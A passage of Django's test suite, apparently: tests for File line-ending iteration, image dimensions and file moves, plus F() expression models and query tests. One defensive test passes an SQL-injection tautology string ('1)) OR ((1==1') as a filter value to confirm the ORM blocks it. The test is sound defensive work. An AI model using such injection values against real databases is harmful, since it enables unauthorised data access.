        #8149 - File objects with \r\n line endings should yield lines
        when iterated over.
        """
        f = File(BytesIO(b'one\r\ntwo\r\nthree'))
        self.assertEqual(list(f), [b'one\r\n', b'two\r\n', b'three'])

    def test_file_iteration_mac_newlines(self):
        """
        #8149 - File objects with \r line endings should yield lines
        when iterated over.
        """
        f = File(BytesIO(b'one\rtwo\rthree'))
        self.assertEqual(list(f), [b'one\r', b'two\r', b'three'])

    def test_file_iteration_mixed_newlines(self):
        f = File(BytesIO(b'one\rtwo\nthree\r\nfour'))
        self.assertEqual(list(f), [b'one\r', b'two\n', b'three\r\n', b'four'])

    def test_file_iteration_with_unix_newline_at_chunk_boundary(self):
        f = File(BytesIO(b'one\ntwo\nthree'))
        # Set chunk size to create a boundary after \n:
        # b'one\n...
        #        ^
        f.DEFAULT_CHUNK_SIZE = 4
        self.assertEqual(list(f), [b'one\n', b'two\n', b'three'])

    def test_file_iteration_with_windows_newline_at_chunk_boundary(self):
        f = File(BytesIO(b'one\r\ntwo\r\nthree'))
        # Set chunk size to create a boundary between \r and \n:
        # b'one\r\n...
        #        ^
        f.DEFAULT_CHUNK_SIZE = 4
        self.assertEqual(list(f), [b'one\r\n', b'two\r\n', b'three'])

    def test_file_iteration_with_mac_newline_at_chunk_boundary(self):
        f = File(BytesIO(b'one\rtwo\rthree'))
        # Set chunk size to create a boundary after \r:
        # b'one\r...
        #        ^
        f.DEFAULT_CHUNK_SIZE = 4
        self.assertEqual(list(f), [b'one\r', b'two\r', b'three'])

    def test_file_iteration_with_text(self):
        f = File(StringIO('one\ntwo\nthree'))
        self.assertEqual(list(f), ['one\n', 'two\n', 'three'])

    def test_readable(self):
        with tempfile.TemporaryFile() as temp, File(temp, name='something.txt') as test_file:
            self.assertTrue(test_file.readable())
        self.assertFalse(test_file.readable())

    def test_writable(self):
        with tempfile.TemporaryFile() as temp, File(temp, name='something.txt') as test_file:
            self.assertTrue(test_file.writable())
        self.assertFalse(test_file.writable())
        with tempfile.TemporaryFile('rb') as temp, File(temp, name='something.txt') as test_file:
            self.assertFalse(test_file.writable())

    def test_seekable(self):
        with tempfile.TemporaryFile() as temp, File(temp, name='something.txt') as test_file:
            self.assertTrue(test_file.seekable())
        self.assertFalse(test_file.seekable())

    def test_io_wrapper(self):
        content = "vive l'été\n"
        with tempfile.TemporaryFile() as temp, File(temp, name='something.txt') as test_file:
            test_file.write(content.encode('utf-8'))
            test_file.seek(0)
            wrapper = TextIOWrapper(test_file, 'utf-8', newline='\n')
            self.assertEqual(wrapper.read(), content)
            # The following seek() call is required on Windows Python 2 when
            # switching from reading to writing.
            wrapper.seek(0, 2)
            wrapper.write(content)
            wrapper.seek(0)
            self.assertEqual(wrapper.read(), content * 2)
            test_file = wrapper.detach()
            test_file.seek(0)
            self.assertEqual(test_file.read(), (content * 2).encode('utf-8'))


class NoNameFileTestCase(unittest.TestCase):
    """
    Other examples of unnamed files may be tempfile.SpooledTemporaryFile or
    urllib.urlopen()
    """
    def test_noname_file_default_name(self):
        self.assertIsNone(File(BytesIO(b'A file with no name')).name)

    def test_noname_file_get_size(self):
        self.assertEqual(File(BytesIO(b'A file with no name')).size, 19)


class ContentFileTestCase(unittest.TestCase):
    def test_content_file_default_name(self):
        self.assertIsNone(ContentFile(b"content").name)

    def test_content_file_custom_name(self):
        """
        Test that the constructor of ContentFile accepts 'name' (#16590).
        """
        name = "I can have a name too!"
        self.assertEqual(ContentFile(b"content", name=name).name, name)

    def test_content_file_input_type(self):
        """
        Test that ContentFile can accept both bytes and unicode and that the
        retrieved content is of the same type.
        """
        self.assertIsInstance(ContentFile(b"content").read(), bytes)
        if six.PY3:
            self.assertIsInstance(ContentFile("español").read(), six.text_type)
        else:
            self.assertIsInstance(ContentFile("español").read(), bytes)


class DimensionClosingBug(unittest.TestCase):
    """
    Test that get_image_dimensions() properly closes files (#8817)
    """
    @unittest.skipUnless(Image, "Pillow not installed")
    def test_not_closing_of_files(self):
        """
        Open files passed into get_image_dimensions() should stay opened.
        """
        empty_io = BytesIO()
        try:
            images.get_image_dimensions(empty_io)
        finally:
            self.assertTrue(not empty_io.closed)

    @unittest.skipUnless(Image, "Pillow not installed")
    def test_closing_of_filenames(self):
        """
        get_image_dimensions() called with a filename should closed the file.
        """
        # We need to inject a modified open() builtin into the images module
        # that checks if the file was closed properly if the function is
        # called with a filename instead of an file object.
        # get_image_dimensions will call our catching_open instead of the
        # regular builtin one.

        class FileWrapper(object):
            _closed = []

            def __init__(self, f):
                self.f = f

            def __getattr__(self, name):
                return getattr(self.f, name)

            def close(self):
                self._closed.append(True)
                self.f.close()

        def catching_open(*args):
            return FileWrapper(open(*args))

        images.open = catching_open
        try:
            images.get_image_dimensions(os.path.join(os.path.dirname(upath(__file__)), "test1.png"))
        finally:
            del images.open
        self.assertTrue(FileWrapper._closed)


class InconsistentGetImageDimensionsBug(unittest.TestCase):
    """
    Test that get_image_dimensions() works properly after various calls
    using a file handler (#11158)
    """
    @unittest.skipUnless(Image, "Pillow not installed")
    def test_multiple_calls(self):
        """
        Multiple calls of get_image_dimensions() should return the same size.
        """
        img_path = os.path.join(os.path.dirname(upath(__file__)), "test.png")
        with open(img_path, 'rb') as fh:
            image = images.ImageFile(fh)
            image_pil = Image.open(fh)
            size_1 = images.get_image_dimensions(image)
            size_2 = images.get_image_dimensions(image)
        self.assertEqual(image_pil.size, size_1)
        self.assertEqual(size_1, size_2)

    @unittest.skipUnless(Image, "Pillow not installed")
    def test_bug_19457(self):
        """
        Regression test for #19457
        get_image_dimensions fails on some pngs, while Image.size is working good on them
        """
        img_path = os.path.join(os.path.dirname(upath(__file__)), "magic.png")
        size = images.get_image_dimensions(img_path)
        with open(img_path, 'rb') as fh:
            self.assertEqual(size, Image.open(fh).size)


@unittest.skipUnless(Image, "Pillow not installed")
class GetImageDimensionsTests(unittest.TestCase):

    def test_invalid_image(self):
        """
        get_image_dimensions() should return (None, None) for the dimensions of
        invalid images (#24441).

        brokenimg.png is not a valid image and it has been generated by:
        $ echo "123" > brokenimg.png
        """
        img_path = os.path.join(os.path.dirname(upath(__file__)), "brokenimg.png")
        with open(img_path, 'rb') as fh:
            size = images.get_image_dimensions(fh)
            self.assertEqual(size, (None, None))

    def test_valid_image(self):
        """
        get_image_dimensions() should catch struct.error while feeding the PIL
        Image parser (#24544).

        Emulates the Parser feed error. Since the error is raised on every feed
        attempt, the resulting image size should be invalid: (None, None).
        """
        img_path = os.path.join(os.path.dirname(upath(__file__)), "test.png")
        with mock.patch('PIL.ImageFile.Parser.feed', side_effect=struct.error):
            with open(img_path, 'rb') as fh:
                size = images.get_image_dimensions(fh)
                self.assertEqual(size, (None, None))


class FileMoveSafeTests(unittest.TestCase):
    def test_file_move_overwrite(self):
        handle_a, self.file_a = tempfile.mkstemp()
        handle_b, self.file_b = tempfile.mkstemp()

        # file_move_safe should raise an IOError exception if destination file exists and allow_overwrite is False
        with self.assertRaises(IOError):
            file_move_safe(self.file_a, self.file_b, allow_overwrite=False)

        # should allow it and continue on if allow_overwrite is True
        self.assertIsNone(file_move_safe(self.file_a, self.file_b, allow_overwrite=True))

        os.close(handle_a)
        os.close(handle_b)


class SpooledTempTests(unittest.TestCase):
    def test_in_memory_spooled_temp(self):
        with tempfile.SpooledTemporaryFile() as temp:
            temp.write(b"foo bar baz quux\n")
            django_file = File(temp, name="something.txt")
            self.assertEqual(django_file.size, 17)

    def test_written_spooled_temp(self):
        with tempfile.SpooledTemporaryFile(max_size=4) as temp:
            temp.write(b"foo bar baz quux\n")
            django_file = File(temp, name="something.txt")
            self.assertEqual(django_file.size, 17)






"""
Giving models custom methods

Any method you add to a model will be available to instances.
"""

import datetime

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateField()

    def __str__(self):
        return self.headline

    def was_published_today(self):
        return self.pub_date == datetime.date.today()

    def articles_from_same_day_1(self):
        return Article.objects.filter(pub_date=self.pub_date).exclude(id=self.id)

    def articles_from_same_day_2(self):
        """
        Verbose version of get_articles_from_same_day_1, which does a custom
        database query for the sake of demonstration.
        """
        from django.db import connection
        with connection.cursor() as cursor:
            cursor.execute("""
                SELECT id, headline, pub_date
                FROM custom_methods_article
                WHERE pub_date = %s
                    AND id != %s""", [connection.ops.adapt_datefield_value(self.pub_date),
                                      self.id])
            return [self.__class__(*row) for row in cursor.fetchall()]












from __future__ import unicode_literals

from datetime import date

from django.test import TestCase

from .models import Article


class MethodsTests(TestCase):
    def test_custom_methods(self):
        a = Article.objects.create(
            headline="Parrot programs in Python", pub_date=date(2005, 7, 27)
        )
        b = Article.objects.create(
            headline="Beatles reunite", pub_date=date(2005, 7, 27)
        )

        self.assertFalse(a.was_published_today())
        self.assertQuerysetEqual(
            a.articles_from_same_day_1(), [
                "Beatles reunite",
            ],
            lambda a: a.headline,
        )
        self.assertQuerysetEqual(
            a.articles_from_same_day_2(), [
                "Beatles reunite",
            ],
            lambda a: a.headline
        )

        self.assertQuerysetEqual(
            b.articles_from_same_day_1(), [
                "Parrot programs in Python",
            ],
            lambda a: a.headline,
        )
        self.assertQuerysetEqual(
            b.articles_from_same_day_2(), [
                "Parrot programs in Python",
            ],
            lambda a: a.headline
        )






"""
Tests for F() query expression syntax.
"""

from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Employee(models.Model):
    firstname = models.CharField(max_length=50)
    lastname = models.CharField(max_length=50)
    salary = models.IntegerField(blank=True, null=True)

    def __str__(self):
        return '%s %s' % (self.firstname, self.lastname)


@python_2_unicode_compatible
class Company(models.Model):
    name = models.CharField(max_length=100)
    num_employees = models.PositiveIntegerField()
    num_chairs = models.PositiveIntegerField()
    ceo = models.ForeignKey(
        Employee,
        models.CASCADE,
        related_name='company_ceo_set')
    point_of_contact = models.ForeignKey(
        Employee,
        models.SET_NULL,
        related_name='company_point_of_contact_set',
        null=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Number(models.Model):
    integer = models.BigIntegerField(db_column='the_integer')
    float = models.FloatField(null=True, db_column='the_float')

    def __str__(self):
        return '%i, %.3f' % (self.integer, self.float)


class Experiment(models.Model):
    name = models.CharField(max_length=24)
    assigned = models.DateField()
    completed = models.DateField()
    estimated_time = models.DurationField()
    start = models.DateTimeField()
    end = models.DateTimeField()

    class Meta:
        ordering = ('name',)

    def duration(self):
        return self.end - self.start


@python_2_unicode_compatible
class Result(models.Model):
    experiment = models.ForeignKey(Experiment, models.CASCADE)
    result_time = models.DateTimeField()

    def __str__(self):
        return "Result at %s" % self.result_time


@python_2_unicode_compatible
class Time(models.Model):
    time = models.TimeField(null=True)

    def __str__(self):
        return "%s" % self.time


@python_2_unicode_compatible
class SimulationRun(models.Model):
    start = models.ForeignKey(Time, models.CASCADE, null=True)
    end = models.ForeignKey(Time, models.CASCADE, null=True)
    midpoint = models.TimeField()

    def __str__(self):
        return "%s (%s to %s)" % (self.midpoint, self.start, self.end)


@python_2_unicode_compatible
class UUID(models.Model):
    uuid = models.UUIDField(null=True)

    def __str__(self):
        return "%s" % self.uuid












from __future__ import unicode_literals

import datetime
import unittest
import uuid
from copy import deepcopy

from django.core.exceptions import FieldError
from django.db import DatabaseError, connection, models, transaction
from django.db.models import TimeField, UUIDField
from django.db.models.aggregates import (
    Avg, Count, Max, Min, StdDev, Sum, Variance,
)
from django.db.models.expressions import (
    Case, Col, ExpressionWrapper, F, Func, OrderBy, Random, RawSQL, Ref, Value,
    When,
)
from django.db.models.functions import (
    Coalesce, Concat, Length, Lower, Substr, Upper,
)
from django.db.models.sql import constants
from django.db.models.sql.datastructures import Join
from django.test import TestCase, skipIfDBFeature, skipUnlessDBFeature
from django.test.utils import Approximate
from django.utils import six

from .models import (
    UUID, Company, Employee, Experiment, Number, Result, SimulationRun, Time,
)


class BasicExpressionsTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        Company.objects.create(
            name="Example Inc.", num_employees=2300, num_chairs=5,
            ceo=Employee.objects.create(firstname="Joe", lastname="Smith", salary=10)
        )
        Company.objects.create(
            name="Foobar Ltd.", num_employees=3, num_chairs=4,
            ceo=Employee.objects.create(firstname="Frank", lastname="Meyer", salary=20)
        )
        Company.objects.create(
            name="Test GmbH", num_employees=32, num_chairs=1,
            ceo=Employee.objects.create(firstname="Max", lastname="Mustermann", salary=30)
        )

    def setUp(self):
        self.company_query = Company.objects.values(
            "name", "num_employees", "num_chairs"
        ).order_by(
            "name", "num_employees", "num_chairs"
        )

    def test_annotate_values_aggregate(self):
        companies = Company.objects.annotate(
            salaries=F('ceo__salary'),
        ).values('num_employees', 'salaries').aggregate(
            result=Sum(
                F('salaries') + F('num_employees'),
                output_field=models.IntegerField()
            ),
        )
        self.assertEqual(companies['result'], 2395)

    def test_annotate_values_filter(self):
        companies = Company.objects.annotate(
            foo=RawSQL('%s', ['value']),
        ).filter(foo='value').order_by('name')
        self.assertQuerysetEqual(
            companies, [
                '<Company: Example Inc.>',
                '<Company: Foobar Ltd.>',
                '<Company: Test GmbH>',
            ],
        )

    def test_filter_inter_attribute(self):
        # We can filter on attribute relationships on same model obj, e.g.
        # find companies where the number of employees is greater
        # than the number of chairs.
        self.assertQuerysetEqual(
            self.company_query.filter(num_employees__gt=F("num_chairs")), [
                {
                    "num_chairs": 5,
                    "name": "Example Inc.",
                    "num_employees": 2300,
                },
                {
                    "num_chairs": 1,
                    "name": "Test GmbH",
                    "num_employees": 32
                },
            ],
            lambda o: o
        )

    def test_update(self):
        # We can set one field to have the value of another field
        # Make sure we have enough chairs
        self.company_query.update(num_chairs=F("num_employees"))
        self.assertQuerysetEqual(
            self.company_query, [
                {
                    "num_chairs": 2300,
                    "name": "Example Inc.",
                    "num_employees": 2300
                },
                {
                    "num_chairs": 3,
                    "name": "Foobar Ltd.",
                    "num_employees": 3
                },
                {
                    "num_chairs": 32,
                    "name": "Test GmbH",
                    "num_employees": 32
                }
            ],
            lambda o: o
        )

    def test_arithmetic(self):
        # We can perform arithmetic operations in expressions
        # Make sure we have 2 spare chairs
        self.company_query.update(num_chairs=F("num_employees") + 2)
        self.assertQuerysetEqual(
            self.company_query, [
                {
                    'num_chairs': 2302,
                    'name': 'Example Inc.',
                    'num_employees': 2300
                },
                {
                    'num_chairs': 5,
                    'name': 'Foobar Ltd.',
                    'num_employees': 3
                },
                {
                    'num_chairs': 34,
                    'name': 'Test GmbH',
                    'num_employees': 32
                }
            ],
            lambda o: o,
        )

    def test_order_of_operations(self):
        # Law of order of operations is followed
        self. company_query.update(
            num_chairs=F('num_employees') + 2 * F('num_employees')
        )
        self.assertQuerysetEqual(
            self.company_query, [
                {
                    'num_chairs': 6900,
                    'name': 'Example Inc.',
                    'num_employees': 2300
                },
                {
                    'num_chairs': 9,
                    'name': 'Foobar Ltd.',
                    'num_employees': 3
                },
                {
                    'num_chairs': 96,
                    'name': 'Test GmbH',
                    'num_employees': 32
                }
            ],
            lambda o: o,
        )

    def test_parenthesis_priority(self):
        # Law of order of operations can be overridden by parentheses
        self.company_query.update(
            num_chairs=((F('num_employees') + 2) * F('num_employees'))
        )
        self.assertQuerysetEqual(
            self.company_query, [
                {
                    'num_chairs': 5294600,
                    'name': 'Example Inc.',
                    'num_employees': 2300
                },
                {
                    'num_chairs': 15,
                    'name': 'Foobar Ltd.',
                    'num_employees': 3
                },
                {
                    'num_chairs': 1088,
                    'name': 'Test GmbH',
                    'num_employees': 32
                }
            ],
            lambda o: o,
        )

    def test_update_with_fk(self):
        # ForeignKey can become updated with the value of another ForeignKey.
        self.assertEqual(
            Company.objects.update(point_of_contact=F('ceo')),
            3
        )
        self.assertQuerysetEqual(
            Company.objects.all(), [
                "Joe Smith",
                "Frank Meyer",
                "Max Mustermann",
            ],
            lambda c: six.text_type(c.point_of_contact),
            ordered=False
        )

    def test_update_with_none(self):
        Number.objects.create(integer=1, float=1.0)
        Number.objects.create(integer=2)
        Number.objects.filter(float__isnull=False).update(float=Value(None))
        self.assertQuerysetEqual(
            Number.objects.all(), [
                None,
                None,
            ],
            lambda n: n.float,
            ordered=False
        )

    def test_filter_with_join(self):
        # F Expressions can also span joins
        Company.objects.update(point_of_contact=F('ceo'))
        c = Company.objects.all()[0]
        c.point_of_contact = Employee.objects.create(firstname="Guido", lastname="van Rossum")
        c.save()

        self.assertQuerysetEqual(
            Company.objects.filter(ceo__firstname=F("point_of_contact__firstname")), [
                "Foobar Ltd.",
                "Test GmbH",
            ],
            lambda c: c.name,
            ordered=False
        )

        Company.objects.exclude(
            ceo__firstname=F("point_of_contact__firstname")
        ).update(name="foo")
        self.assertEqual(
            Company.objects.exclude(
                ceo__firstname=F('point_of_contact__firstname')
            ).get().name,
            "foo",
        )

        with transaction.atomic():
            with self.assertRaises(FieldError):
                Company.objects.exclude(
                    ceo__firstname=F('point_of_contact__firstname')
                ).update(name=F('point_of_contact__lastname'))

    def test_object_update(self):
        # F expressions can be used to update attributes on single objects
        test_gmbh = Company.objects.get(name="Test GmbH")
        self.assertEqual(test_gmbh.num_employees, 32)
        test_gmbh.num_employees = F("num_employees") + 4
        test_gmbh.save()
        test_gmbh = Company.objects.get(pk=test_gmbh.pk)
        self.assertEqual(test_gmbh.num_employees, 36)

    def test_new_object_save(self):
        # We should be able to use Funcs when inserting new data
        test_co = Company(
            name=Lower(Value("UPPER")), num_employees=32, num_chairs=1,
            ceo=Employee.objects.create(firstname="Just", lastname="Doit", salary=30),
        )
        test_co.save()
        test_co.refresh_from_db()
        self.assertEqual(test_co.name, "upper")

    def test_new_object_create(self):
        test_co = Company.objects.create(
            name=Lower(Value("UPPER")), num_employees=32, num_chairs=1,
            ceo=Employee.objects.create(firstname="Just", lastname="Doit", salary=30),
        )
        test_co.refresh_from_db()
        self.assertEqual(test_co.name, "upper")

    def test_object_create_with_aggregate(self):
        # Aggregates are not allowed when inserting new data
        with self.assertRaisesMessage(FieldError, 'Aggregate functions are not allowed in this query'):
            Company.objects.create(
                name='Company', num_employees=Max(Value(1)), num_chairs=1,
                ceo=Employee.objects.create(firstname="Just", lastname="Doit", salary=30),
            )

    def test_object_update_fk(self):
        # F expressions cannot be used to update attributes which are foreign
        # keys, or attributes which involve joins.
        test_gmbh = Company.objects.get(name="Test GmbH")

        def test():
            test_gmbh.point_of_contact = F("ceo")
        with self.assertRaises(ValueError):
            test()

        test_gmbh.point_of_contact = test_gmbh.ceo
        test_gmbh.save()
        test_gmbh.name = F("ceo__last_name")
        with self.assertRaises(FieldError):
            test_gmbh.save()

    def test_object_update_unsaved_objects(self):
        # F expressions cannot be used to update attributes on objects which do
        # not yet exist in the database
        test_gmbh = Company.objects.get(name="Test GmbH")
        acme = Company(
            name="The Acme Widget Co.", num_employees=12, num_chairs=5,
            ceo=test_gmbh.ceo
        )
        acme.num_employees = F("num_employees") + 16
        msg = (
            'Failed to insert expression "Col(expressions_company, '
            'expressions.Company.num_employees) + Value(16)" on '
            'expressions.Company.num_employees. F() expressions can only be '
            'used to update, not to insert.'
        )
        with self.assertRaisesMessage(ValueError, msg):
            acme.save()

        acme.num_employees = 12
        acme.name = Lower(F('name'))
        msg = (
            'Failed to insert expression "Lower(Col(expressions_company, '
            'expressions.Company.name))" on expressions.Company.name. F() '
            'expressions can only be used to update, not to insert.'
        )
        with self.assertRaisesMessage(ValueError, msg):
            acme.save()

    def test_ticket_11722_iexact_lookup(self):
        Employee.objects.create(firstname="John", lastname="Doe")
        Employee.objects.create(firstname="Test", lastname="test")

        queryset = Employee.objects.filter(firstname__iexact=F('lastname'))
        self.assertQuerysetEqual(queryset, ["<Employee: Test test>"])

    @skipIfDBFeature('has_case_insensitive_like')
    def test_ticket_16731_startswith_lookup(self):
        Employee.objects.create(firstname="John", lastname="Doe")
        e2 = Employee.objects.create(firstname="Jack", lastname="Jackson")
        e3 = Employee.objects.create(firstname="Jack", lastname="jackson")
        self.assertQuerysetEqual(
            Employee.objects.filter(lastname__startswith=F('firstname')),
            [e2], lambda x: x)
        self.assertQuerysetEqual(
            Employee.objects.filter(lastname__istartswith=F('firstname')).order_by('pk'),
            [e2, e3], lambda x: x)

    def test_ticket_18375_join_reuse(self):
        # Test that reverse multijoin F() references and the lookup target
        # the same join. Pre #18375 the F() join was generated first, and the
        # lookup couldn't reuse that join.
        qs = Employee.objects.filter(
            company_ceo_set__num_chairs=F('company_ceo_set__num_employees'))
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_ticket_18375_kwarg_ordering(self):
        # The next query was dict-randomization dependent - if the "gte=1"
        # was seen first, then the F() will reuse the join generated by the
        # gte lookup, if F() was seen first, then it generated a join the
        # other lookups could not reuse.
        qs = Employee.objects.filter(
            company_ceo_set__num_chairs=F('company_ceo_set__num_employees'),
            company_ceo_set__num_chairs__gte=1)
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_ticket_18375_kwarg_ordering_2(self):
        # Another similar case for F() than above. Now we have the same join
        # in two filter kwargs, one in the lhs lookup, one in F. Here pre
        # #18375 the amount of joins generated was random if dict
        # randomization was enabled, that is the generated query dependent
        # on which clause was seen first.
        qs = Employee.objects.filter(
            company_ceo_set__num_employees=F('pk'),
            pk=F('company_ceo_set__num_employees')
        )
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_ticket_18375_chained_filters(self):
        # Test that F() expressions do not reuse joins from previous filter.
        qs = Employee.objects.filter(
            company_ceo_set__num_employees=F('pk')
        ).filter(
            company_ceo_set__num_employees=F('company_ceo_set__num_employees')
        )
        self.assertEqual(str(qs.query).count('JOIN'), 2)


class IterableLookupInnerExpressionsTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        ceo = Employee.objects.create(firstname='Just', lastname='Doit', salary=30)
        # MySQL requires that the values calculated for expressions don't pass
        # outside of the field's range, so it's inconvenient to use the values
        # in the more general tests.
        Company.objects.create(name='5020 Ltd', num_employees=50, num_chairs=20, ceo=ceo)
        Company.objects.create(name='5040 Ltd', num_employees=50, num_chairs=40, ceo=ceo)
        Company.objects.create(name='5050 Ltd', num_employees=50, num_chairs=50, ceo=ceo)
        Company.objects.create(name='5060 Ltd', num_employees=50, num_chairs=60, ceo=ceo)
        Company.objects.create(name='99300 Ltd', num_employees=99, num_chairs=300, ceo=ceo)

    def test_in_lookup_allows_F_expressions_and_expressions_for_integers(self):
        # __in lookups can use F() expressions for integers.
        queryset = Company.objects.filter(num_employees__in=([F('num_chairs') - 10]))
        self.assertQuerysetEqual(queryset, ['<Company: 5060 Ltd>'], ordered=False)
        self.assertQuerysetEqual(
            Company.objects.filter(num_employees__in=([F('num_chairs') - 10, F('num_chairs') + 10])),
            ['<Company: 5040 Ltd>', '<Company: 5060 Ltd>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Company.objects.filter(
                num_employees__in=([F('num_chairs') - 10, F('num_chairs'), F('num_chairs') + 10])
            ),
            ['<Company: 5040 Ltd>', '<Company: 5050 Ltd>', '<Company: 5060 Ltd>'],
            ordered=False
        )

    def test_expressions_in_lookups_join_choice(self):
        midpoint = datetime.time(13, 0)
        t1 = Time.objects.create(time=datetime.time(12, 0))
        t2 = Time.objects.create(time=datetime.time(14, 0))
        SimulationRun.objects.create(start=t1, end=t2, midpoint=midpoint)
        SimulationRun.objects.create(start=t1, end=None, midpoint=midpoint)
        SimulationRun.objects.create(start=None, end=t2, midpoint=midpoint)
        SimulationRun.objects.create(start=None, end=None, midpoint=midpoint)

        queryset = SimulationRun.objects.filter(midpoint__range=[F('start__time'), F('end__time')])
        self.assertQuerysetEqual(
            queryset,
            ['<SimulationRun: 13:00:00 (12:00:00 to 14:00:00)>'],
            ordered=False
        )
        for alias in queryset.query.alias_map.values():
            if isinstance(alias, Join):
                self.assertEqual(alias.join_type, constants.INNER)

        queryset = SimulationRun.objects.exclude(midpoint__range=[F('start__time'), F('end__time')])
        self.assertQuerysetEqual(queryset, [], ordered=False)
        for alias in queryset.query.alias_map.values():
            if isinstance(alias, Join):
                self.assertEqual(alias.join_type, constants.LOUTER)

    def test_range_lookup_allows_F_expressions_and_expressions_for_integers(self):
        # Range lookups can use F() expressions for integers.
        Company.objects.filter(num_employees__exact=F("num_chairs"))
        self.assertQuerysetEqual(
            Company.objects.filter(num_employees__range=(F('num_chairs'), 100)),
            ['<Company: 5020 Ltd>', '<Company: 5040 Ltd>', '<Company: 5050 Ltd>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Company.objects.filter(num_employees__range=(F('num_chairs') - 10, F('num_chairs') + 10)),
            ['<Company: 5040 Ltd>', '<Company: 5050 Ltd>', '<Company: 5060 Ltd>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Company.objects.filter(num_employees__range=(F('num_chairs') - 10, 100)),
            ['<Company: 5020 Ltd>', '<Company: 5040 Ltd>', '<Company: 5050 Ltd>', '<Company: 5060 Ltd>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Company.objects.filter(num_employees__range=(1, 100)),
            [
                '<Company: 5020 Ltd>', '<Company: 5040 Ltd>', '<Company: 5050 Ltd>',
                '<Company: 5060 Ltd>', '<Company: 99300 Ltd>',
            ],
            ordered=False
        )

    @unittest.skipUnless(connection.vendor == 'sqlite',
                         "This defensive test only works on databases that don't validate parameter types")
    def test_complex_expressions_do_not_introduce_sql_injection_via_untrusted_string_inclusion(self):
        """
        This tests that SQL injection isn't possible using compilation of
        expressions in iterable filters, as their compilation happens before
        the main query compilation. It's limited to SQLite, as PostgreSQL,
        Oracle and other vendors have defense in depth against this by type
        checking. Testing against SQLite (the most permissive of the built-in
        databases) demonstrates that the problem doesn't exist while keeping
        the test simple.
        """
        queryset = Company.objects.filter(name__in=[F('num_chairs') + '1)) OR ((1==1'])
        self.assertQuerysetEqual(queryset, [], ordered=False)

    def test_in_lookup_allows_F_expressions_and_expressions_for_datetimes(self):
        start = datetime.datetime(2016, 2, 3, 15, 0, 0)
        end = datetime.datetime(2016, 2, 5, 15, 0, 0)
        experiment_1 = Experiment.objects.create(
            name='Integrity testing',
            assigned=start.date(),
            start=start,
            end=end,
            completed=end.date(),
            estimated_time=end - start,
        )
        experiment_2 = Experiment.objects.create(
            name='Taste testing',
            assigned=start.date(),
            start=start,
            end=end,
            completed=end.date(),
            estimated_time=end - start,
        )
        Result.objects.create(
            experiment=experiment_1,
            result_time=datetime.datetime(2016, 2, 4, 15, 0, 0),
        )
        Result.objects.create(
            experiment=experiment_1,
            result_time=datetime.datetime(2016, 3, 10, 2, 0, 0),
        )
        Result.objects.create(
            experiment=experiment_2,
            result_time=datetime.datetime(2016, 1, 8, 5, 0, 0),
        )

        within_experiment_time = [F('experiment__start'), F('experiment__end')]
        queryset = Result.objects.filter(result_time__range=within_experiment_time)
        self.assertQuerysetEqual(queryset, ["<Result: Result at 2016-02-04 15:00:00>"])

        within_experiment_time = [F('experiment__start'), F('experiment__end')]
        queryset = Result.objects.filter(result_time__range=within_experiment_time)
        self.assertQuerysetEqual(queryset, ["<Result: Result at 2016-02-04 15:00:00>"])


class ExpressionsTests(TestCase):

    def test_F_object_deepcopy(self):
        """
        Make sure F objects can be deepcopied (#23492)
        """
        f = F("foo")
        g = deepcopy(f)
        self.assertEqual(f.name, g.name)

    def test_f_reuse(self):
        f = F('id')
        n = Number.objects.create(integer=-1)
        c = Company.objects.create(
            name="Example Inc.", num_employees=2300, num_chairs=5,
            ceo=Employee.objects.create(firstname="Joe", lastname="Smith")
        )
        c_qs = Company.objects.filter(id=f)
        self.assertEqual(c_qs.get(), c)
        # Reuse the same F-object for another queryset
        n_qs = Number.objects.filter(id=f)
        self.assertEqual(n_qs.get(), n)
        # The original query still works correctly
        self.assertEqual(c_qs.get(), c)

    def test_patterns_escape(self):
        """
        Test that special characters (e.g. %, _ and \) stored in database are
        properly escaped when using a pattern lookup with an expression
        refs #16731
        """
        Employee.objects.bulk_create([
            Employee(firstname="%Joh\\nny", lastname="%Joh\\n"),
            Employee(firstname="Johnny", lastname="%John"),
            Employee(firstname="Jean-Claude", lastname="Claud_"),
            Employee(firstname="Jean-Claude", lastname="Claude"),
            Employee(firstname="Jean-Claude", lastname="Claude%"),
            Employee(firstname="Johnny", lastname="Joh\\n"),
            Employee(firstname="Johnny", lastname="John"),
            Employee(firstname="Johnny", lastname="_ohn"),
        ])

        self.assertQuerysetEqual(
            Employee.objects.filter(firstname__contains=F('lastname')),
            ["<Employee: %Joh\\nny %Joh\\n>", "<Employee: Jean-Claude Claude>", "<Employee: Johnny John>"],
            ordered=False)

        self.assertQuerysetEqual(
            Employee.objects.filter(firstname__startswith=F('lastname')),
            ["<Employee: %Joh\\nny %Joh\\n>", "<Employee: Johnny John>"],
            ordered=False)

        self.assertQuerysetEqual(
            Employee.objects.filter(firstname__endswith=F('lastname')),
            ["<Employee: Jean-Claude Claude>"],
            ordered=False)

    def test_insensitive_patterns_escape(self):
        """
        Test that special characters (e.g. %, _ and \) stored in database are
        properly escaped when using a case insensitive pattern lookup with an
        expression -- refs #16731
        """
        Employee.objects.bulk_create([
            Employee(firstname="%Joh\\nny", lastname="%joh\\n"),
            Employee(firstname="Johnny", lastname="%john"),
            Employee(firstname="Jean-Claude", lastname="claud_"),
            Employee(firstname="Jean-Claude", lastname="claude"),
            Employee(firstname="Jean-Claude", lastname="claude%"),
            Employee(firstname="Johnny", lastname="joh\\n"),
            Employee(firstname="Johnny", lastname="john"),
            Employee(firstname="Johnny", lastname="_ohn"),
        ])

        self.assertQuerysetEqual(
            Employee.objects.filter(firstname__icontains=F('lastname')),
            ["<Employee: %Joh\\nny %joh\\n>", "<Employee: Jean-Claude claude>", "<Employee: Johnny john>"],
            ordered=False)

        self.assertQuerysetEqual(
            Employee.objects.filter(firstname__istartswith=F('lastname')),
